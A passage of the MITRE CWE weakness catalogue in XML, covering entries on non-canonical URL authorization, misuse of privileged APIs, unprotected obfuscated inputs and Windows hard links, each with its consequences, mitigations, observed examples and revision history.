					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>442</Relationship_Target_ID>
					          <!--Web Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Architectural_Paradigms>
					          <Architectural_Paradigm Architectural_Paradigm_Name="Web-based"/>
				        </Architectural_Paradigms>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>An application specifies its policy namespaces and access control rules
						based on the path information.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>Alternate (but equivalent) encodings exist to represent the same path
						information that will be understood and accepted by the process consuming
						the path and granting access to resources.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to bypass the authorization mechanism to gain
							access to the otherwise-protected URL.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a non-canonical URL is used, the server may choose to return the
							contents of the file, instead of pre-processing the file (e.g. as a
							program).</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make access control policy based on path information in canonical
							form. Use very restrictive regular expressions to validate that the path
							is in the expected form.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Reject all alternate path encodings that are not in the expected
							canonical form.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Description>Example from CAPEC (CAPEC ID: 4, "Using
						Alternative IP Address Encodings"). An attacker identifies an application
						server that applies a security policy based on the domain and application
						name, so the access control policy covers authentication and authorization
						for anyone accessing http://example.domain:8080/application. However, by
						putting in the IP address of the host the application authentication and
						authorization controls may be bypassed http://192.168.0.1:8080/application.
						The attacker relies on the victim applying policy to the namespace
						abstraction and not having a default deny policy in place to manage
						exceptions.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Canonicalize path names before validating
						them</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Name, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Using Non-Canonical Paths for
						Authorization Decisions</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="648" Name="Incorrect Use of Privileged APIs" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application does not conform to the API requirements for a
					function call that requires extra privileges. This could allow attackers to gain
					privileges by causing the function to be called
					incorrectly.</Description_Summary>
				        <Extended_Description>
					          <Text>When an application contains certain functions that perform operations
						requiring an elevated level of privilege, the caller of a privileged API
						must be careful to:</Text>
					          <Block Block_Nature="List">
						            <Text>ensure that assumptions made by the APIs are valid, such as validity
							of arguments</Text>
						            <Text>account for known weaknesses in the design/implementation of the
							API</Text>
						            <Text>call the API from a safe context</Text>
					          </Block>
					          <Text>If the caller of the API does not follow these requirements, then it may
						allow a malicious user or process to elevate their privilege, hijack the
						process, or steal sensitive data.</Text>
					          <Text>For instance, it is important to know if privileged APIs do not shed their
						privileges before returning to the caller or if the privileged function
						might make certain assumptions about the data, context or state information
						passed to it by the caller. It is important to always know when and how
						privileged APIs can be called in order to ensure that their elevated level
						of privilege cannot be exploited.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>265</Relationship_Target_ID>
					          <!--Privilege / Sandbox Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>269</Relationship_Target_ID>
					          <!--Improper Privilege Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>An application contains functions running processes that hold higher
						privileges.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>There is code in the application that calls the privileged APIs.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>There is a way for a user to control the data that is being passed to the
						privileged API or control the context from which it is being called.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to elevate privileges.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to obtain sensitive information.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to execute code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Before calling privileged APIs, always ensure that the assumptions
							made by the privileged code hold true prior to making the call.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Know architecture and implementation weaknesses of the privileged APIs
							and make sure to account for these weaknesses before calling the
							privileged APIs to ensure that they can be called safely.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If privileged APIs make certain assumptions about data, context or
							state validity that are passed by the caller, the calling code must
							ensure that these assumptions have been validated prior to making the
							call.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If privileged APIs do not shed their privilege prior to returning to
							the calling code, then calling code needs to shed these privileges
							immediately and safely right after the call to the privileged APIs. In
							particular, the calling code needs to ensure that a privileged thread of
							execution will never be returned to the user or made available to
							user-controlled processes.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Only call privileged APIs from safe, consistent and expected state.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that a failure or an error will not leave a system in a state
							where privileges are not properly shed and privilege escalation is
							possible (i.e. fail securely with regards to handling of privileges).
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Description>From http://xforce.iss.net/xforce/xfdb/12848:
						man-db is a Unix utility that displays online help files. man-db versions
						2.3.12 beta and 2.3.18 to 2.4.1 could allow a local attacker to gain
						privileges, caused by a vulnerability when the open_cat_stream function is
						called. If man-db is installed setuid, a local attacker could exploit this
						vulnerability to gain "man" user privileges.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>107</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>234</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Improper Use of Privileged
						APIs</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="649" Name="Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses obfuscation or encryption of inputs that
					should not be mutable by an external actor, but the software does not use
					integrity checks to detect if those inputs have been
					modified.</Description_Summary>
				        <Extended_Description>
					          <Text>When an application relies on obfuscation or incorrectly applied / weak
						encryption to protect client-controllable tokens or parameters, that may
						have an effect on the user state, system state, or some decision made on the
						server. Without protecting the tokens/parameters for integrity, the
						application is vulnerable to an attack where an adversary blindly traverses
						the space of possible values of the said token/parameter in order to attempt
						to gain an advantage. The goal of the attacker is to find another admissible
						value that will somehow elevate his or her privileges in the system,
						disclose information or change the behavior of the system in some way
						beneficial to the attacker. If the application does not protect these
						critical tokens/parameters for integrity, it will not be able to determine
						that these values have been tampered with. Measures that are used to protect
						data for confidentiality should not be relied upon to provide the integrity
						service.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>The application uses client controllable tokens/parameters in order to
						make decisions on the server side about user state, system state or other
						decisions related to the functionality of the application.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>The application does not protect client controllable tokens/parameters for
						integrity and thus not able to catch tampering.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The inputs could be modified without detection, causing the software
							to have unexpected system state or make incorrect security
							decisions.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect important client controllable tokens/parameters for integrity
							using PKI methods (i.e. digital signatures) or other means, and checks
							for integrity on the server side.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Repeated requests from a particular user that include invalid values
							of tokens/parameters (those that should not be changed manually by
							users) should result in the user account lockout.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Client side tokens/parameters should not be such that it would be
							easy/predictable to guess another valid state.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Obfuscation should not be relied upon. If encryption is used, it needs
							to be properly applied (i.e. proven algorithm and implementation, use
							padding, use random initialization vector, user proper encryption mode).
							Even with proper encryption where the ciphertext does not leak
							information about the plaintext or reveal its structure, compromising
							integrity is possible (although less likely) without the provision of
							the integrity service.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0039</Observed_Example_Reference>
					          <Observed_Example_Description>An IPSec configuration does not perform integrity
						checking of the IPSec packet as the result of either not configuring ESP
						properly to support the integrity service or using AH improperly. In either
						case, the security gateway receiving the IPSec packet would not validate the
						integrity of the packet to ensure that it was not changed. Thus if the
						packets were intercepted the attacker could undetectably change some of the
						bits in the packets. The meaningful bit flipping was possible due to the
						known weaknesses in the CBC encryption mode. Since the attacker knew the
						structure of the packet, he or she was able (in one variation of the attack)
						to use bit flipping to change the destination IP of the packet to the
						destination machine controlled by the attacker. And so the destination
						security gateway would decrypt the packet and then forward the plaintext to
						the machine controlled by the attacker. The attacker could then read the
						original message. For instance if VPN was used with the vulnerable IPSec
						configuration the attacker could read the victim's e-mail. This
						vulnerability demonstrates the need to enforce the integrity service
						properly when critical data could be modified by an attacker. This problem
						might have also been mitigated by using an encryption mode that is not
						susceptible to bit flipping attacks, but the preferred mechanism to address
						this problem still remains message verification for integrity. While this
						attack focuses on the network layer and requires a man in the middle
						scenario, the situation is not much different at the software level where an
						attacker can modify tokens/parameters used by the
						application.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>463</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Observed_Example</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Enabling_Factors_for_Exploitation, Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Relying on Obfuscation or
						Encryption with no Integrity Checking to Protect User Controllable
						Parameters that are Used to Determine User or System
						State</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="65" Name="Windows Hard Link" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software, when opening a file or directory, does not
					sufficiently handle when the name is associated with a hard link to a target
					that is outside of the intended control sphere. This could allow an attacker to
					cause the software to operate on unauthorized files.</Description_Summary>
				        <Extended_Description>
					          <Text>Failure for a system to check for hard links can result in vulnerability
						to different types of attacks. For example, an attacker can escalate their
						privileges if a file used by a privileged program is replaced with a hard
						link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the
						file, the attacker can assume the privileges of that process, or prevent the
						program from accurately processing data.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>63</Relationship_Target_ID>
					          <!--Windows Path Link Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>59</Relationship_Target_ID>
					          <!--Improper Link Resolution Before File Access ('Link Following')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-48.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when assigning access rights
							to entities in a software system.</Text>
						            <Text>Denying access to a file can prevent an attacker from replacing that
							file with a link to a sensitive file. Ensure good compartmentalization
							in the system to provide protected areas that can be trusted.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0725</Observed_Example_Reference>
					          <Observed_Example_Description> File system allows local attackers to hide file
						usage activities via a hard link to the target file, which causes the link
						to be recorded in the audit trail instead of the target file.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0844</Observed_Example_Reference>
					          <Observed_Example_Description> Web server plugin allows local users to overwrite
						arbitrary files via a symlink attack on predictable temporary filenames.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied</Text>
				        </Research_Gap>
			      </Research_Gaps>
